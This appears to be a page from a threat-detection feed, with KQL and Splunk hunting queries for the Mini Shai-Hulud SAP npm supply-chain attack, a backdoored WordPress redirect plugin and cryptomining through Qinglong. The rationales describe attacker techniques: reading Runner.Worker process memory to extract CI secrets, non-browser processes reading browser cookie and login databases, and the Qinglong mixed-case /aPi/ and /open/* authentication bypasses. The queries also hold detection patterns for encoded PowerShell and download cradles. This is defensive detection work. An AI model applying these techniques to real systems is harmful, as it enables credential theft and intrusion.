Hunts the in-memory CI secret extraction step where the payload's embedded Python reads /proc/<pid>/maps and /proc/<pid>/mem of the GitHub Actions Runner.Worker process to bypass log masking. Article-specific because target is explicitly the Runner.Worker process and the access pattern is the dual maps+mem read.
Rationale: The article quotes Socket directly: the payload reads /proc/<pid>/maps and /proc/<pid>/mem of Runner.Worker and grep-searches for the literal pattern "key":{"value":"...","isSecret":true}. Joining /proc reads to the live Runner.Worker PID drives FP rate near zero on a CI host.
Cross-checked against:
• https://socket.dev/blog/sap-cap-npm-packages-supply-chain-attack
• https://www.wiz.io/blog/mini-shai-hulud-supply-chain-sap-npm
• https://onapsis.com/blog/sap-cap-mini-shai-hulud-supply-chain-attack/
ATT&CKT1003.007T1552.001T1552.007
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let runners = DeviceProcessEvents
| where Timestamp > ago(14d)
| where FileName == "Runner.Worker" or ProcessCommandLine has "Runner.Worker"
| project DeviceId, RunnerWorkerPid = ProcessId, RunnerStart = Timestamp;
DeviceFileEvents
| where Timestamp > ago(14d)
| where FolderPath matches regex @"^/proc/\d+/(mem|maps)$"
| where InitiatingProcessFileName in~ ("python","python3","bun","node")
| extend TargetPid = toint(extract(@"/proc/(\d+)/", 1, FolderPath))
| join kind=inner runners on $left.DeviceId == $right.DeviceId and $left.TargetPid == $right.RunnerWorkerPid
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, FolderPath, TargetPid, RunnerStart
| union (DeviceProcessEvents
| where Timestamp > ago(14d)
| where ProcessCommandLine matches regex @"/proc/\d+/(mem|maps)" and ProcessCommandLine has "isSecret")
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Filesystem.file_path) as paths values(Filesystem.process_name) as procs from datamodel=Endpoint.Filesystem where Filesystem.file_path IN ("/proc/*/maps","/proc/*/mem") AND Filesystem.process_name IN ("python","python3","bun","node") by Filesystem.dest Filesystem.user Filesystem.process_id _time | `drop_dm_object_name(Filesystem)` | join type=inner Filesystem.dest [| tstats `summariesonly` count from datamodel=Endpoint.Processes where Processes.process_name="Runner.Worker" by Processes.dest Processes.process_id | rename Processes.dest as Filesystem.dest Processes.process_id as worker_pid | `drop_dm_object_name(Processes)`] | where like(paths, "%/".worker_pid."/maps") OR like(paths, "%/".worker_pid."/mem") | `security_content_ctime(firstTime)`
[LLM] Compromised SAP CAP / mbt package files written under node_modules (pinned malicious versions)DeliveryHigh
Hunts file-write evidence of the four compromised SAP packages — @cap-js/sqlite@2.2.2, @cap-js/postgres@2.2.2, @cap-js/db-service@2.10.1, mbt@1.2.48 — by looking for setup.mjs and execution.js dropped under those package paths inside node_modules. Article-specific because we anchor on the exact package names and dropper filenames, not generic preinstall behaviour.
Rationale: setup.mjs and execution.js are not part of the legitimate @cap-js/* or mbt package trees — they are the injected dropper/payload pair documented by Wiz, Socket, Aikido and StepSecurity. Anchoring the file write to the exact package directories and exposing the package version yields a deterministic alert tied to the four pinned compromised releases.
Cross-checked against:
• https://www.wiz.io/blog/mini-shai-hulud-supply-chain-sap-npm
• https://socket.dev/blog/sap-cap-npm-packages-supply-chain-attack
• https://www.aikido.dev/blog/mini-shai-hulud-has-appeared
• https://safedep.io/mini-shai-hulud-and-sap-compromise/
ATT&CKT1195.002T1546
Data sourcesEndpoint.Filesystem
let badPkgPaths = dynamic(["node_modules/@cap-js/sqlite","node_modules/@cap-js/postgres","node_modules/@cap-js/db-service","node_modules/mbt","node_modules\\@cap-js\\sqlite","node_modules\\@cap-js\\postgres","node_modules\\@cap-js\\db-service","node_modules\\mbt"]);
DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated","FileModified")
| where FileName in~ ("setup.mjs","execution.js","package.json")
| where FolderPath has_any (badPkgPaths)
| join kind=leftouter (
DeviceFileEvents
| where Timestamp > ago(30d)
| where FileName == "package.json"
| where FolderPath has_any (badPkgPaths)
| extend pkgVer = extract(@"""version""\s*:\s*""([0-9\.]+)""", 1, tostring(AdditionalFields))
) on DeviceId, FolderPath
| project Timestamp, DeviceName, AccountName, FolderPath, FileName, InitiatingProcessFileName, InitiatingProcessCommandLine, SHA256
| extend SuspectVersion = case(
FolderPath has "@cap-js/sqlite" or FolderPath has "@cap-js\\sqlite", "2.2.2",
FolderPath has "@cap-js/postgres" or FolderPath has "@cap-js\\postgres", "2.2.2",
FolderPath has "@cap-js/db-service" or FolderPath has "@cap-js\\db-service", "2.10.1",
FolderPath has "mbt", "1.2.48",
"unknown")
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Filesystem.file_path) as paths from datamodel=Endpoint.Filesystem where Filesystem.file_name IN ("setup.mjs","execution.js") AND (Filesystem.file_path IN ("*node_modules*@cap-js/sqlite*","*node_modules*@cap-js/postgres*","*node_modules*@cap-js/db-service*","*node_modules*mbt*","*node_modules\\@cap-js\\sqlite*","*node_modules\\@cap-js\\postgres*","*node_modules\\@cap-js\\db-service*","*node_modules\\mbt*")) by Filesystem.dest Filesystem.user Filesystem.process_name Filesystem.file_name Filesystem.file_path _time | `drop_dm_object_name(Filesystem)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-04-294 use cases2 techniques3 kill-chain phases detected
The Quick Page/Post Redirect plugin, installed on more than 70,000 WordPress sites, had a backdoor added five years ago that allows injecting arbitrary code into users' sites. [...]
ATT&CKT1021.001T1190
Domainsanadnet.comw.anadnet.com
Click any ATT&CK pill below to open it on the Matrix
Phase 1
Reconnaissance
—
Phase 2
Weaponization
—
Phase 3
Delivery
—
Phase 4
Exploitation
Detected
Phase 5
Installation
Detected
Phase 6
Command & Control
Detected
Phase 7
Actions on Objectives
Likely
Reconnaissance. Attacker researches the target — OSINT, scanning, enumeration.
Command & Control. Beacon to attacker infrastructure for control and tasking. → Beaconing — periodic outbound to small set of destinations · Network connections to article IPs / domains · [LLM] Outbound DNS/Web traffic to anadnet[.]com — Quick Page/Post Redirect WordPress backdoor C2
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage.
Beaconing — periodic outbound to small set of destinationsCommand & ControlMedium
C2 channel detection via inter-beacon-time stddev / fan-out to single dest.
ATT&CKT1071.001T1071.004
Data sourcesNetwork_Traffic.All_TrafficDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where RemoteIPType == "Public" and ActionType == "ConnectionSuccess"
| project DeviceName, RemoteIP, RemotePort, Timestamp
| sort by DeviceName asc, RemoteIP asc, RemotePort asc, Timestamp asc
| extend prev_dev = prev(DeviceName, 1), prev_ip = prev(RemoteIP, 1),
prev_port = prev(RemotePort, 1), prev_ts = prev(Timestamp, 1)
| where DeviceName == prev_dev and RemoteIP == prev_ip and RemotePort == prev_port
| extend delta_sec = datetime_diff('second', Timestamp, prev_ts)
| summarize conn_count = count(), avg_delta = avg(delta_sec), stdev_delta = stdev(delta_sec)
by DeviceName, RemoteIP, RemotePort
| where conn_count > 30 and avg_delta between (30.0 .. 600.0) and stdev_delta < 5.0
| order by conn_count desc
| tstats `summariesonly` count, values(All_Traffic.dest_port) AS ports
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.action="allowed" AND All_Traffic.dest_category!="internal"
by _time span=10s, All_Traffic.src, All_Traffic.dest
| `drop_dm_object_name(All_Traffic)`
| streamstats current=f last(_time) AS prev_time by src, dest
| eval delta = _time - prev_time
| stats avg(delta) AS avg_delta stdev(delta) AS sd_delta count by src, dest
| where count > 30 AND sd_delta < 5 AND avg_delta>=30 AND avg_delta<=600
| sort - count
Network connections to article IPs / domainsCommand & ControlHigh
Outbound traffic to attacker infrastructure named in the article.
ATT&CKT1071
Data sourcesNetwork_Traffic.All_TrafficWebNetwork_Resolution.DNSDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIP in ("") or RemoteUrl has_any ("anadnet.com", "w.anadnet.com")
| project Timestamp, DeviceName, ActionType, RemoteIP, RemotePort, RemoteUrl,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.dest IN ("")
by All_Traffic.src, All_Traffic.dest, All_Traffic.dest_port
| `drop_dm_object_name(All_Traffic)`
| append
[| tstats `summariesonly` count from datamodel=Web
where Web.dest IN ("anadnet.com", "w.anadnet.com")
by Web.src, Web.dest, Web.url, Web.user
| `drop_dm_object_name(Web)`]
| append
[| tstats `summariesonly` count from datamodel=Network_Resolution.DNS
where DNS.query IN ("anadnet.com", "w.anadnet.com")
by DNS.src, DNS.query, DNS.answer
| `drop_dm_object_name(DNS)`]
Detects any host (especially WordPress/web servers) resolving or connecting to anadnet.com or w.anadnet.com, the third-party 'self-update' channel hard-coded into the trojanised Quick Page/Post Redirect plugin (v5.2.1–5.2.3). Although the C2 currently does not resolve, the domain is still active and the update-check code remains on ~70,000 installs, so any successful or attempted lookup indicates either re-activation of the C2 or a compromised host actively beaconing.
Rationale: The article (and the researcher Austin Ginder's original Anchor.host post) names anadnet.com / w.anadnet.com as the hard-coded backdoor update endpoint baked into Quick Page/Post Redirect v5.2.1–5.2.3. Any DNS or HTTP egress to that domain from server estate is a near-zero-FP indicator of a still-installed dormant backdoor or C2 reactivation.
Cross-checked against:
• https://www.bleepingcomputer.com/news/security/popular-wordpress-redirect-plugin-hid-dormant-backdoor-for-years/
• https://anchor.host/someone-bought-30-wordpress-plugins-and-planted-a-backdoor-in-all-of-them/
• https://wordpress.org/support/plugin/quick-pagepost-redirect-plugin/
ATT&CKT1071.001T1568T1195.001
Data sourcesNetwork_Resolution.DNSWeb.WebNetwork_Traffic.All_Traffic
let badHosts = dynamic(["anadnet.com","w.anadnet.com"]);
DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemoteUrl has_any (badHosts)
or tostring(parse_url(RemoteUrl).Host) in~ (badHosts)
or RemoteUrl endswith ".anadnet.com"
| project Timestamp, DeviceName, ActionType, RemoteUrl, RemoteIP, RemotePort, Protocol, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| union (
DeviceEvents
| where ActionType == "DnsQueryResponse" or ActionType == "DnsConnectionInspected"
| where AdditionalFields has "anadnet.com"
| project Timestamp, DeviceName, ActionType, AdditionalFields, InitiatingProcessFileName, InitiatingProcessCommandLine
)
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(DNS.src) as src values(DNS.answer) as answers from datamodel=Network_Resolution where (DNS.query="anadnet.com" OR DNS.query="w.anadnet.com" OR DNS.query="*.anadnet.com") by DNS.query DNS.src DNS.dest
| `drop_dm_object_name(DNS)`
| append
[| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Web.url) as urls values(Web.http_user_agent) as ua from datamodel=Web where (Web.url="*anadnet.com*" OR Web.dest="anadnet.com" OR Web.dest="w.anadnet.com") by Web.src Web.dest Web.http_method
| `drop_dm_object_name(Web)`]
| `security_content_ctime(firstTime)`
| `security_content_ctime(lastTime)`
Hunts for the presence of the trojanised plugin on managed/agent-instrumented web servers — specifically files written under wp-content/plugins/quick-pagepost-redirect-plugin/ paired with PHP-process outbound fetches that reference the anadnet update server. Targets the documented passive backdoor that hooks WordPress's 'the_content' filter for logged-out users and the self-updater pointing to w.anadnet.com.
Rationale: Combines the article's exact plugin slug (quick-pagepost-redirect-plugin) with the anadnet update endpoint to find both dormant and active infections; the join on a PHP/web-server process initiating the egress filters out unrelated user-browser hits and yields a high-fidelity hunt for the specific supply-chain implant Ginder documented.
Cross-checked against:
• https://www.bleepingcomputer.com/news/security/popular-wordpress-redirect-plugin-hid-dormant-backdoor-for-years/
• https://anchor.host/someone-bought-30-wordpress-plugins-and-planted-a-backdoor-in-all-of-them/
• https://github.com/WPPlugins/quick-pagepost-redirect-plugin
ATT&CKT1505.003T1195.001T1102.002
Data sourcesEndpoint.FilesystemEndpoint.ProcessesNetwork_Traffic.All_Traffic
let pluginPath = "quick-pagepost-redirect-plugin";
let badDomains = dynamic(["anadnet.com","w.anadnet.com"]);
let pluginHosts = DeviceFileEvents
| where Timestamp > ago(90d)
| where FolderPath has pluginPath
| where FileName endswith ".php"
| summarize FirstSeen=min(Timestamp), LastSeen=max(Timestamp), Files=make_set(FileName,50), Paths=make_set(FolderPath,20) by DeviceId, DeviceName;
let beaconingHosts = DeviceNetworkEvents
| where Timestamp > ago(90d)
| where RemoteUrl has_any (badDomains) or RemoteUrl endswith ".anadnet.com"
| where InitiatingProcessFileName in~ ("php.exe","php-cgi.exe","httpd.exe","nginx.exe","w3wp.exe","php-fpm")
| summarize Beacons=count(), BeaconUrls=make_set(RemoteUrl,10) by DeviceId, DeviceName;
pluginHosts
| join kind=leftouter beaconingHosts on DeviceId
| project DeviceName, FirstSeen, LastSeen, Files, Paths, Beacons, BeaconUrls
| order by LastSeen desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Filesystem.file_name) as files values(Filesystem.process_name) as writers from datamodel=Endpoint.Filesystem where (Filesystem.file_path="*/wp-content/plugins/quick-pagepost-redirect-plugin/*" OR Filesystem.file_path="*\\wp-content\\plugins\\quick-pagepost-redirect-plugin\\*") AND Filesystem.file_name="*.php" by Filesystem.dest Filesystem.file_path
| `drop_dm_object_name(Filesystem)`
| join type=left dest
[| tstats `summariesonly` count as net_count values(All_Traffic.dest) as remote_dests from datamodel=Network_Traffic where (All_Traffic.dest="anadnet.com" OR All_Traffic.dest="w.anadnet.com" OR All_Traffic.dest_host="*anadnet.com") by All_Traffic.src
| rename All_Traffic.src as dest
| fields dest net_count remote_dests]
| where isnotnull(net_count) OR firstTime>relative_time(now(),"-30d@d")
| `security_content_ctime(firstTime)`
| `security_content_ctime(lastTime)`
2026-04-296 use cases1 technique4 kill-chain phases detected
Hackers are exploiting two authentication bypass vulnerabilities in the Qinglong open-source task scheduling tool to deploy cryptominers on developers' servers. [...]
CVEsCVE-2026-3965CVE-2026-4047
ATT&CKT1190
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2026-3965", "CVE-2026-4047")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-3965", "CVE-2026-4047")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Scheduled task created with suspicious image / encoded argsInstallationHigh
schtasks.exe /create or Microsoft-Windows-TaskScheduler EventID 4698 with LOLBin actions.
ATT&CKT1053.005
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName =~ "schtasks.exe"
| where ProcessCommandLine has "/create"
| where ProcessCommandLine has_any ("powershell","cmd.exe","rundll32","-enc","FromBase64","\Users\Public","\AppData\")
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name="schtasks.exe" AND Processes.process="*/create*"
AND (Processes.process="*powershell*" OR Processes.process="*cmd.exe*"
OR Processes.process="*rundll32*" OR Processes.process="*-enc*"
OR Processes.process="*FromBase64*" OR Processes.process="*\Users\Public*"
OR Processes.process="*\AppData\*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Article-specific behavioural hunt — Hackers exploit RCE flaws in Qinglong task scheduler for cryptominingExploitationHigh
Auto-generated hunt targeting the specific binaries, paths, registry locations and command-line fragments named in this article. Hunting tier — needs analyst review and environment tuning before promotion to alerting.
ATT&CKT1204.002
Data sourcesEndpoint.ProcessesEndpoint.FilesystemEndpoint.Registry
// Article-specific bespoke detection — Hackers exploit RCE flaws in Qinglong task scheduler for cryptomining
// Hunts the actual binaries / paths / commandline fragments named
// in the article instead of a generic technique-class template.
DeviceProcessEvents
| where Timestamp > ago(30d)
| where (FileName in~ ("express.js", "config.sh"))
| project Timestamp, DeviceName, AccountName, FileName,
FolderPath, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
// File-creation events for the named binaries / paths
DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated","FileModified")
| where (FileName in~ ("express.js", "config.sh"))
| project Timestamp, DeviceName, AccountName, FolderPath,
FileName, ActionType, InitiatingProcessFileName,
InitiatingProcessCommandLine
| order by Timestamp desc
``` Article-specific bespoke detection — Hackers exploit RCE flaws in Qinglong task scheduler for cryptomining ```
| tstats `summariesonly` count earliest(_time) AS firstTime latest(_time) AS lastTime
from datamodel=Endpoint.Processes
where (Processes.process_name IN ("express.js","config.sh"))
by Processes.dest, Processes.user, Processes.process_name,
Processes.process, Processes.parent_process_name, Processes.process_path
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| append [
| tstats `summariesonly` count
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("created","modified")
AND (Filesystem.file_name IN ("express.js","config.sh"))
by Filesystem.dest, Filesystem.user, Filesystem.process_name,
Filesystem.file_path, Filesystem.file_name
| `drop_dm_object_name(Filesystem)`
]
[LLM] Qinglong .fullgc cryptominer execution from /ql/data/dbInstallationHigh
Detects execution of the masquerading cryptominer binary dropped by exploitation of CVE-2026-3965/CVE-2026-4047 in Qinglong. Hunts for processes named '.fullgc' or executing from the article-specific path '/ql/data/db/.fullgc' across Linux x86_64/ARM64 and macOS hosts.
Rationale: The article and Snyk write-up explicitly name '.fullgc' as the dropped miner and '/ql/data/db/.fullgc' as the install path, chosen to mimic 'Full GC' to evade triage. Both the binary name and the Qinglong-specific data directory are unique enough to be alert-worthy with very low FP rate.
Cross-checked against:
• https://snyk.io/blog/qinglong-task-scheduler-rce-vulnerabilities/
• https://github.com/whyour/qinglong/issues/2928
• https://nvd.nist.gov/vuln/detail/CVE-2026-3965
• https://security.snyk.io/vuln/SNYK-JS-WHYOURQINGLONG-15468374
ATT&CKT1496.001T1036.005T1564.001
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where Timestamp > ago(30d)
| where FolderPath has "/ql/data/db/.fullgc"
or FileName == ".fullgc"
or ProcessCommandLine has "/ql/data/db/.fullgc"
| project Timestamp, DeviceName, DeviceId, AccountName, FileName, FolderPath, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessParentFileName
| order by Timestamp desc
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_path="*/ql/data/db/.fullgc*" OR Processes.process_name=".fullgc" OR Processes.process="*/ql/data/db/.fullgc*") by Processes.dest Processes.user Processes.process_name Processes.process_path Processes.process Processes.parent_process_name Processes.parent_process | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Detects DNS/HTTP egress to the attacker-controlled staging host 'file.551911.xyz' which hosts the Linux x86_64, ARM64, and macOS variants of the .fullgc miner pulled in by the modified config.sh after Qinglong RCE.
Rationale: The article names 'file.551911.xyz' as the only staging host serving the multi-arch miner, corroborated by the Snyk blog. Any DNS query or HTTP fetch to this host is virtually certain to be malicious and pinpoints which Qinglong server was successfully compromised.
Cross-checked against:
• https://snyk.io/blog/qinglong-task-scheduler-rce-vulnerabilities/
• https://www.hendryadrian.com/hackers-exploit-rce-flaws-in-qinglong-task-scheduler-for-cryptomining/
ATT&CKT1105T1071.001
Data sourcesNetwork_Resolution.DNSWeb.Web
union
(DeviceNetworkEvents
| where Timestamp > ago(60d)
| where RemoteUrl has "551911.xyz" or RemoteUrl has "file.551911.xyz"
| project Timestamp, DeviceName, ActionType, RemoteUrl, RemoteIP, RemotePort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessFolderPath),
(DeviceEvents
| where Timestamp > ago(60d)
| where ActionType == "DnsQueryResponse"
| where AdditionalFields has "551911.xyz"
| project Timestamp, DeviceName, ActionType, AdditionalFields, InitiatingProcessFileName, InitiatingProcessCommandLine)
| order by Timestamp desc
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(DNS.answer) as resolved_ip from datamodel=Network_Resolution.DNS where DNS.query="*551911.xyz" OR DNS.query="file.551911.xyz" by DNS.src DNS.query | `drop_dm_object_name(DNS)` | append [| tstats summariesonly=t count from datamodel=Web.Web where Web.url="*file.551911.xyz*" OR Web.dest="file.551911.xyz" by Web.src Web.dest Web.url Web.http_method Web.user_agent | `drop_dm_object_name(Web)`] | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Hunts for in-the-wild exploitation of the two Qinglong auth-bypass primitives: mixed-case URLs against /api (e.g. /aPi/, /Api/, /API/) and requests to /open/* that the misconfigured rewrite maps to protected /api/* admin endpoints. Useful for both pre-patch detection and retro-hunts back to Feb 7 2026.
Rationale: Snyk identifies the two distinct exploit primitives as (1) the /open/* -> /api/* rewrite reaching protected admin endpoints unauthenticated, and (2) mixed-case /aPi/ slipping past the case-sensitive middleware check. Both leave clear, inspectable artifacts in any reverse-proxy/WAF log fronting Qinglong and have no benign analog.
Cross-checked against:
• https://snyk.io/blog/qinglong-task-scheduler-rce-vulnerabilities/
• https://nvd.nist.gov/vuln/detail/CVE-2026-3965
• https://security.snyk.io/vuln/SNYK-JS-WHYOURQINGLONG-15468374
• https://advisories.gitlab.com/pkg/npm/@whyour/qinglong/CVE-2026-3965/
ATT&CKT1190T1078
Data sourcesWeb.Web
// Requires Defender for Cloud Apps / Nginx access logs ingested via custom table; example for ASimWebSessionLogs
let qinglong_paths = dynamic(["/open/api/","/open/user/","/open/configs","/open/crons","/open/scripts","/open/system"]);
ASimWebSessionLogs
| where TimeGenerated > ago(90d)
| where (Url has_any (qinglong_paths))
or (Url matches regex @"(?i)/[aA][pP][iI]/" and Url !contains "/api/")
| extend bypass_type = case(
Url has "/open/", "CVE-2026-3965 rewrite bypass",
Url matches regex @"(?i)/[aA][pP][iI]/" and Url !contains "/api/", "CVE-2026-4047 case bypass",
"unknown")
| project TimeGenerated, SrcIpAddr, DstHostname, HttpRequestMethod, Url, HttpStatusCode, HttpUserAgent, bypass_type
| summarize hits=count(), urls=make_set(Url, 25), first=min(TimeGenerated), last=max(TimeGenerated) by SrcIpAddr, DstHostname, bypass_type
| where hits > 0
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as methods values(Web.status) as statuses values(Web.user_agent) as uas from datamodel=Web.Web where (Web.url="*/open/api/*" OR Web.url="*/open/user/*" OR Web.url="*/open/system/*" OR Web.url="*/open/configs*" OR Web.url="*/open/crons*" OR Web.url="*/open/scripts*" OR match(Web.url,"(?i)/(?!api/)[aA][pP][iI]/") OR Web.url="*/aPi/*" OR Web.url="*/Api/*" OR Web.url="*/API/*") by Web.src Web.dest Web.url Web.http_method | where NOT match(Web.url,"^.*/api/.*$") OR match(Web.url,"(?i)/[aA][pP][iI]/") AND NOT match(Web.url,"/api/") | `drop_dm_object_name(Web)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-04-2910 use cases5 techniques6 kill-chain phases detected
Cybersecurity researchers are sounding the alarm about a new supply chain attack campaign targeting SAP-related npm Packages with credential-stealing malware. According to reports from Aikido Security, Onapsis, OX Security, SafeDep, Socket, StepSecurity, and Google-owned Wiz, the campaign – calling itself the Mini Shai-Hulud – has affected the following packages associated with
CVEsCVE-2026-33626CVE-2026-32202CVE-2026-3854
ATT&CKT1059.001T1176T1190T1195.002T1555.003
Click any ATT&CK pill below to open it on the Matrix
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → [LLM] Bun v1.3.13 runtime fetched from npm/node install context (Mini Shai-Hulud dropper)
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → PowerShell encoded / obfuscated command · Trusted vendor binary / installer launching unusual children · Article-specific behavioural hunt — SAP-Related npm Packages Compromised in Credential-Stealing Supply Chain Attack
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → Suspicious browser extension installation · [LLM] Compromised SAP CAP / mbt npm package preinstall dropping setup.mjs (Mini Shai-Hulud)
Command & Control. Beacon to attacker infrastructure for control and tasking. → Beaconing — periodic outbound to small set of destinations · [LLM] Mini Shai-Hulud GitHub commit-search dead-drop C2 ('OhNoWhatsGoingOnWithGitHub')
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Infostealer — non-browser process accessing browser cookie/login DBs
Beaconing — periodic outbound to small set of destinationsCommand & ControlMedium
C2 channel detection via inter-beacon-time stddev / fan-out to single dest.
ATT&CKT1071.001T1071.004
Data sourcesNetwork_Traffic.All_TrafficDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where RemoteIPType == "Public" and ActionType == "ConnectionSuccess"
| project DeviceName, RemoteIP, RemotePort, Timestamp
| sort by DeviceName asc, RemoteIP asc, RemotePort asc, Timestamp asc
| extend prev_dev = prev(DeviceName, 1), prev_ip = prev(RemoteIP, 1),
prev_port = prev(RemotePort, 1), prev_ts = prev(Timestamp, 1)
| where DeviceName == prev_dev and RemoteIP == prev_ip and RemotePort == prev_port
| extend delta_sec = datetime_diff('second', Timestamp, prev_ts)
| summarize conn_count = count(), avg_delta = avg(delta_sec), stdev_delta = stdev(delta_sec)
by DeviceName, RemoteIP, RemotePort
| where conn_count > 30 and avg_delta between (30.0 .. 600.0) and stdev_delta < 5.0
| order by conn_count desc
| tstats `summariesonly` count, values(All_Traffic.dest_port) AS ports
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.action="allowed" AND All_Traffic.dest_category!="internal"
by _time span=10s, All_Traffic.src, All_Traffic.dest
| `drop_dm_object_name(All_Traffic)`
| streamstats current=f last(_time) AS prev_time by src, dest
| eval delta = _time - prev_time
| stats avg(delta) AS avg_delta stdev(delta) AS sd_delta count by src, dest
| where count > 30 AND sd_delta < 5 AND avg_delta>=30 AND avg_delta<=600
| sort - count
Side-loaded / unsigned extensions, often masquerading as wallets, productivity tools.
ATT&CKT1176
Data sourcesEndpoint.RegistryDeviceRegistryEvents
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where RegistryKey has_any ("\Software\Google\Chrome\Extensions\","\Software\Microsoft\Edge\Extensions\","\Software\Mozilla\Firefox\Extensions\")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName, InitiatingProcessAccountName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Registry
where (Registry.registry_path="*\Software\Google\Chrome\Extensions\*"
OR Registry.registry_path="*\Software\Microsoft\Edge\Extensions\*"
OR Registry.registry_path="*\Software\Mozilla\Firefox\Extensions\*")
by Registry.dest, Registry.registry_path, Registry.registry_value_data, Registry.registry_value_name, Registry.user
| `drop_dm_object_name(Registry)`
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-33626", "CVE-2026-32202", "CVE-2026-3854")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Encoded or obfuscated PowerShell — common across loaders, recon, and post-exploitation.
ATT&CKT1059.001T1027
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("powershell.exe","pwsh.exe")
| where ProcessCommandLine matches regex @"(?i)(-enc|encodedcommand|frombase64string|-nop|-w\s+hidden|invoke-expression|iex\s*\(|downloadstring|net\.webclient)"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("powershell.exe","pwsh.exe")
AND (Processes.process="*-enc *" OR Processes.process="*EncodedCommand*"
OR Processes.process="*FromBase64String*" OR Processes.process="*-nop*"
